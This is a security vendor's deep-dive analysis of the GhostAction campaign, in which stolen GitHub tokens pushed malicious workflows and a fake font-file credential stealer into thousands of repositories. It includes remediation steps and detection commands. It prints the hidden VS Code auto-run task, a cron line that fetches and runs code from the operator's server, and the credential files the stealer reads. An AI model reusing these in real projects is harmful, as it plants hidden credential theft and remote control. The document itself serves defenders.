Neutron, our AI engine, scored 97.1% on UC Berkeley's CyberGym benchmark. Learn more

Deep Dive

Deep Dive

GhostAction: Stolen GitHub Tokens Hit 23,000 Repos

Stolen GitHub tokens pushed 72,026 malicious commits to 22,964 repositories in nine days; revoke the tokens and hunt the #ghc2 cron job.

TL;DR

  • Stolen, never-revoked GitHub tokens let the GhostAction operator push 72,026 malicious commits to 22,964 public repositories between October 13 and October 21, 2026. GitGuardian documented the wave on October 27, 2026.
  • The campaign now runs outside CI: a fake font file and a hidden VS Code task steal credentials from developer machines, and a five-minute cron job keeps control after the repository is cleaned.
  • GitGuardian does not quantify endpoint compromise in this wave; 1,792 pushing accounts are compromised and 7,989 of the hit repositories are new victims. GitHub's workflow hold blocked every malicious workflow run it could see.
  • Revoke the stolen tokens, delete the planted files on every branch without reverting them, and hunt the #ghc2 cron entry on every machine and runner that touched an affected repository. The response order is in "What should I do if my repositories were hit?".

Am I affected?

All of these are exposure paths, and any one of them is enough to act:

  • A GitHub account or organization you control received commits you did not write, in the wave of October 13 to October 26, 2026, adding any of the planted files listed in "How do I check if I was compromised?".
  • A machine opened an affected repository in VS Code and allowed automatic tasks in the trusted workspace with Node.js available, allowing a hidden task to run a script disguised as a font file.
  • A self-hosted runner picked up work from an affected repository, even though the self-hosted workflow family GitGuardian observed contained a syntax error.
  • Your organization's cloud accounts trust an affected repository through GitHub OpenID Connect, because one payload family requests GitHub OIDC tokens and tries to assume every IAM role it can find.
  • Separately, the Gheist campaign planted secret-dumping workflows through another set of stolen tokens; its branch and file names are also in the checks below.

The tokens were stolen earlier and never revoked, and the same accounts are resold to other actors. GitGuardian observed 1,382 of the 1,792 pushing accounts in the earlier October 8 wave. For Gheist, Wiz traced the credential sources to infostealer logs and to tokens exposed in a March 2026 compromise of the Trivy project.

What does the malicious code do?

The operator plants different files depending on where it wants the code to run. GitGuardian counted five payload families in the October 13 to October 21 wave:

Family Runs on Commits Repositories
Seven workflows GitHub-hosted runner 33,411 19,153
Font stealer Developer machine 30,804 17,667
Security-audit re-point GitHub-hosted runner 6,988 6,902
Legacy OIDC GitHub-hosted runner and AWS 568 418
Self-hosted Self-hosted runner 257 172

The largest families are seven-workflows and the font stealer. The seven-workflow family pushes audit.yml, build-check.yml, repo-health.yml, lint.yml, ci-check.yml, test-suite.yml and code-review.yml, each in its own commit with an innocuous message. The payload greps the working tree and the full git history for credentials, now with four AI-provider token patterns added: sk-oat-, sk-svcacct-, gsk_ and xai-. It also clones the repository wiki with the workflow's GITHUB_TOKEN and greps it. When its server is unreachable, it falls back to a private gist named "build cache" holding a c.dat file.

The legacy OIDC family revives an older template. It requests a GitHub OIDC token and tries to assume every IAM role ARN found in the environment, then exfiltrates the resulting sessions. The self-hosted family uses runs-on: self-hosted and reads cloud and AI-tool credential files from the runner, but GitGuardian found a YAML syntax error that kept it from running. The security-audit re-point makes 6,988 update commits pointing older workflows to a new server port.

The family that matters most runs on developer machines, outside any CI log. The operator pushes two files in separate commits: public/fonts/fa-solid-400.woff2, which is a plain Node.js script, and a .vscode/tasks.json that defines a hidden task:

Automatic execution also requires Node.js and permission to run automatic tasks in a trusted workspace; merely cloning or opening a repository does not prove compromise.

{
  "label": "eslint-check",
  "type": "shell",
  "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
  "isBackground": true,
  "hide": true,
  "presentation": { "reveal": "never", "echo": false, "close": true },
  "runOptions": { "runOn": "folderOpen" }
}

When a developer opens the folder in VS Code and trusts the workspace, with automatic tasks allowed and Node.js installed, the task runs the "font". The script reads ~/.aws/credentials, .pypirc, .npmrc, .git-credentials, .netrc, ~/.claude/.credentials.json, ~/.gemini/oauth_creds.json and .kube/config, and collects SSH keys and matching environment variables. It greps the home directory for AWS, Anthropic, GitHub, npm and PyPI secrets, and posts everything to the operator's server.

How does persistence survive repository cleanup?

Three families install the same cron entry, which keeps control of the machine after the repository is cleaned:

*/5 * * * * curl -s -m 10 http://193.32.204[.]199:8080/c2/$(hostname) | bash  #ghc2

Every five minutes, the machine fetches a shell script from the command-and-control server and runs it, so the operator can send each host different follow-up code. GitGuardian's closing point is the operational lesson: cleaning the repository is the easy part, and the credentials are the ones that still work.

How did the campaign reach 23,000 repositories?

The scale came from credential theft, not from a vulnerability. The 1,792 pushing accounts had their tokens stolen earlier, largely through infostealers, and the tokens were never revoked. GitGuardian counted 2,875 repository owners affected, of which 14,906 repositories were already victims of the October 8 wave and 7,989 were new. October 15 alone saw 32,099 commits, and October 14 to October 16 account for 67,556 of the total.

The campaign also converged with another operator. From October 22 to October 26, 188 GhostAction commits were amended in place and force-pushed with loaders belonging to PolinRider, a campaign GitGuardian attributes to a DPRK-linked actor. The GhostAction font-stealer launcher is a copy of PolinRider's technique: the same hidden eslint-check task and the same shell-command fallback, differing only in the filename. PolinRider's own chain is heavier:

  • A loader that resolves its command-and-control address from an Ethereum blockchain transaction.
  • Staged downloads of further payloads, decoded and executed with node -e.
  • A persistent runner in ~/.node_modules/ that keeps fetching code from its server.
  • A final stage that harvests browser logins, cookies and 150 browser extensions, including password managers and crypto wallets. GitGuardian found no clear indicator that the two operators are the same group.

What does GitHub's approval hold stop?

Since July 28, 2026, GitHub holds potentially malicious workflow runs in public repositories until a collaborator approves them. GitGuardian found no successful run for any GhostAction workflow payload: every malicious run it could see was prevented, and the self-hosted family additionally carried a syntax error.

The hold has three gaps, and this campaign sits in all of them:

  • Private repositories and GitHub Enterprise Server are not covered, so Wiz observed Gheist workflow runs completing there, being deleted within a minute, and the organizations' own cloud roles being assumed from attacker branches.
  • The font stealer does not use CI at all. A file that runs on a developer's machine through VS Code is invisible to a control built around workflow runs.
  • The hold cannot revoke the stolen tokens. Every blocked run still tells the operator the account works, and 1,382 of the accounts were already known from the October 8 wave.

Wiz named the same pattern in the separate Gheist campaign, which since September 15, 2026 has planted more than 13,500 branches from more than 850 accounts. Its sync-check.yml workflow prints repository secrets base32-encoded into its own log, then downloads the log through the GitHub API and deletes the run seconds later. Roughly two thirds of the implicated accounts had become unavailable by October 24, which Wiz reads as response activity.

The five GhostAction payload families by the number of repositories that received them, with the developer-machine family highlighted.
Figure 1: The seven-workflow family reached the most repositories, but the font stealer reached almost as many while running outside CI on developer machines. Source: GitGuardian, checked October 31, 2026.

How does the attack flow?

A stolen token pushes planted files into a repository; the hold stops the workflow runs, but the font-stealer pair executes on a developer machine and leaves a control loop behind.

flowchart LR A["Stolen GitHub token,
never revoked"] --> B["Operator pushes workflow files
and the font-stealer pair"] B --> C["Observed malicious public
workflow runs blocked"] B --> D["Font stealer runs outside CI:
VS Code folderOpen task"] D --> H["Trusted workspace + automatic
tasks allowed + Node.js"] H --> E["The fake .woff2 runs as Node
and reads credential files"] E --> F["Secrets are posted to the C2
and the #ghc2 cron installed"] F --> G["A five-minute control loop
outlives repository cleanup"]

What can an attacker do?

With the font stealer on a developer machine, the operator reads the same files a credential vault would hold. That means cloud provider credentials, registry and package-manager logins, Kubernetes configuration, SSH keys and AI-tool credentials, including Claude, Gemini, OpenAI and Hugging Face tokens. With the workflow families, the targets are repository and organization secrets, the wiki, and anything reachable through an OIDC-trusted cloud role.

The deeper risk is reuse of the stolen access. Both reports observed other actors working the same accounts: cracked-software lure renames across about 1,461 repositories, free-compute abuse through "Windows RDP Runner" repositories, and PolinRider loaders co-pushed into 188 commits. Wiz also traced Gheist enterprise victims where the operator cycled through several users' tokens within minutes and cloned private repositories. Hours later, cloud credentials from the same organizations were used to enumerate AWS Secrets Manager. The conditions are exactly what the credentials allow: any repository the token can write to, and any machine that later opens it.

What should I do if my repositories were hit?

  1. Delete every planted file on every branch, using the file names in the checks below. Do not revert the commits: GitGuardian warns that reverting an "Update" commit restores the previous malicious version.
  2. Revoke the account's credentials: personal access tokens, OAuth application grants and SSH keys. GitGuardian observed re-infection after cleanup whenever tokens were kept.
  3. Rotate every credential committed to the repository or its history, every Actions secret, and every credential stored in the repository wiki.
  4. On any machine that opened an affected repository in VS Code, and on any self-hosted runner, check the crontab for the #ghc2 entry and remove it. Then rotate every local credential: cloud, registries, AI tools, SSH and Kubernetes.
  5. Look for private gists named "build cache" containing a c.dat file on the account, and delete them.
  6. If your workflows authenticate to the cloud with OIDC, search the cloud audit logs for AssumeRoleWithWebIdentity calls from GitHub on unexpected repositories or branches. Restrict trust policies to specific repositories and branches.
  7. Require approval for workflow changes, and do not approve held sync-check or similarly named runs: they are the attack, not a stuck job.

For Gheist specifically, Wiz adds: rotate every repository, organization and environment secret available to an affected repository, because deleting the run or the branch does not undo the exposure. Treat any self-hosted runner that executed a ci-sync branch as compromised along with its instance role.

How do I check if I was compromised?

Search the repositories you control for the campaign's file names and commit messages, on every branch:

Search each branch after checking it out safely without opening it in an editor. The commands below inspect the current working tree and locally available branch refs; fetch all remote branches from a clean environment first. A filename match is an indicator to investigate, not proof of malware.

# GhostAction planted files and messages (adapted from GitGuardian)
grep -rlE "fa-solid-400\.woff2" .
grep -n "runOn" .vscode/tasks.json 2>/dev/null
ls .github/workflows/ | grep -E "audit|build-check|repo-health|lint|ci-check|test-suite|code-review|maintenance|cache-cleanup|runner-maintenance|cleanup-job|cleanup_cache|github_actions_security|security-audit"

# Gheist branches: ci-sync- followed by six characters
git for-each-ref --format='%(refname)' refs/heads refs/remotes | grep -E '/ci-sync-[0-9a-z]{6}$'

Check the machines and runners that touched those repositories:

crontab -l | grep "ghc2"        # the persistence marker
ls -la ~/.node_modules/         # PolinRider: .npm-ws-runner.js, .npm-ws.json, .npm-ws.pid
ls -la .gdmp_pat .gdmp_patg .gdmp_sweep 2>/dev/null   # Gheist self-hosted job helpers

The exfiltration endpoint for the GhostAction families is http://193.32.204[.]199:8080/?c=<tag>, with observed tags including auto_20261013, auto_20261015, reinject, full1, ssh1 and oidcm2. The cron control channel is the same address under /c2/<hostname>. Gheist is identifiable in GitHub audit logs by the gheist user agent and by workflow runs on ci-sync-* branches deleted within a minute of completing. Cloud logs show it through role assumptions whose subject includes a ci-sync- branch. PolinRider's blockchain resolver reads from the Ethereum address 0x1eef0849eda15d87f64e51c73c8442cf3c8bcef3, with a fallback control server at 95.135.181[.]151:443.

Two honest limits apply. GitGuardian's counts are lower bounds, because they only cover what its feed observed, and a developer machine that ran the font stealer shows nothing in repository history at all: the cron entry is the artifact that matters.

Timeline

  • 2026-09-15: Wiz begins tracking the Gheist campaign planting sync-check workflows through stolen tokens.
  • 2026-10-08 to 2026-10-12: The first GhostAction October wave pushes security-audit.yml to about 30,000 repositories; the early workflows ran before GitHub's blocking took hold around October 9.
  • 2026-10-13: The second wave begins, repointing 6,370 existing files at 22:58 UTC.
  • 2026-10-14: The seven-workflow family starts at 13:22 UTC, the self-hosted family at 14:11 UTC, and the font stealer at 21:39 UTC.
  • 2026-10-15: The campaign peaks at 32,099 commits in one day.
  • 2026-10-19: Gheist's Tool B adds a self-hosted sync-host job and the LAFA==== log separator.
  • 2026-10-20: The legacy OIDC workflow returns at 14:16 UTC.
  • 2026-10-21: The last GhostAction commit lands at 04:37 UTC.
  • 2026-10-22 to 2026-10-26: PolinRider loaders are amended into 188 GhostAction commits and force-pushed.
  • 2026-10-25: Wiz publishes the Gheist analysis.
  • 2026-10-27: GitGuardian publishes the GhostAction escalation analysis.

FAQ

Did any malicious GitHub Actions run succeed?

For the October 13–21 wave, GitGuardian observed no successful malicious workflow runs in public repositories. GitGuardian found every GhostAction workflow run it could see prevented by GitHub's approval hold, and the self-hosted family carried a syntax error on top. The earlier October 8 wave did run before the blocking took hold, which is why the account list overlaps. In Gheist, Wiz confirmed completed runs in private repositories and GitHub Enterprise Server, where the hold does not apply.

Is GhostAction the same campaign as Gheist?

No. Wiz states the two are distinct: Gheist exfiltrates secrets through GitHub's own API using sync-check workflows and ci-sync- branches, while GhostAction uses different workflow files and exfiltrates to 193.32.204[.]199. Both run on stolen tokens, some accounts overlap in the wider credential ecosystem, and the two reports cite each other's campaign names.

Why did GitHub's hold not protect the font stealer?

The hold is built around workflow runs in CI. The font stealer never enters CI: it is a script disguised as a font file, launched by a VS Code task that runs when the folder is opened. Nothing in the CI control path sees it, which is why the developer machine, not the workflow log, is where its artifacts live.

What happens to machines that ran the font stealer?

Treat them as compromised. The script reads credential files and environment variables and posts them to the operator's server, then installs the #ghc2 cron entry, which fetches and runs new code every five minutes. GitGuardian's remediation order is explicit: remove the persistence first, then rotate every credential the machine could reach, and do not rely on the repository being cleaned.

Are the token owners the campaign's only victims?

No. Anyone who cloned an affected repository and allowed its malicious task to execute in VS Code may also be compromised. Wiz also observed Gheist enterprise victims where cloud credentials from the same organization enumerated AWS Secrets Manager hours later. That extends the blast radius beyond the accounts that were compromised first.

What makes this campaign hard to stop permanently?

The tokens. Re-infection after cleanup was observed whenever they were kept, and the operators keep acquiring more from infostealer logs and earlier supply-chain breaches. Wiz's hardening list targets exactly that:

  • GitHub Apps or short-lived, fine-grained personal access tokens instead of long-lived, broadly scoped tokens.
  • OIDC trust policies scoped to protected branches.
  • Reviewers on environments holding production secrets.
  • Ephemeral self-hosted runners without the Docker socket or unrestricted metadata access.

Check what your repositories depend on with Ostorlab

Dependency inventory supports supply-chain review. Ostorlab’s software composition analysis inventories project dependencies; investigate the malicious files, branches and endpoint persistence separately.

References

  • GitGuardian, GhostAction Crosses Paths With PolinRider: Inside the October Escalation, October 27, 2026: https://blog.gitguardian.com/ghostaction-x-polinrider/ (checked October 31, 2026)
  • GitGuardian, The campaign that never stopped: tracking GhostAction from 2025 to 2026, October 7, 2026: https://blog.gitguardian.com/ghostaction-github-actions-supply-chain-attack-returns/ (checked October 31, 2026)
  • Wiz, Gheist: Attempted Scaled Abuse of Stolen GitHub Tokens Stumbles, October 25, 2026: https://www.wiz.io/blog/gheist-attempted-scaled-abuse-of-stolen-github-tokens-stumbles (checked October 31, 2026)
  • GitHub changelog, GitHub Actions holds potentially malicious workflows for approval, July 28, 2026: https://github.blog/changelog/2026-07-28-github-actions-holds-potentially-malicious-workflows-for-approval/ (linked from Wiz, checked October 31, 2026)
  • PolinRider analysis by OpenSourceMalware, cited by GitGuardian: https://opensourcemalware.com/blog/ghostaction-copycats-polinrider-by-hiding-a-stealer-in-a-fake-font-file (checked October 31, 2026)
  • VS Code, automatic task execution: https://code.visualstudio.com/docs/debugtest/tasks#_control-automatic-task-execution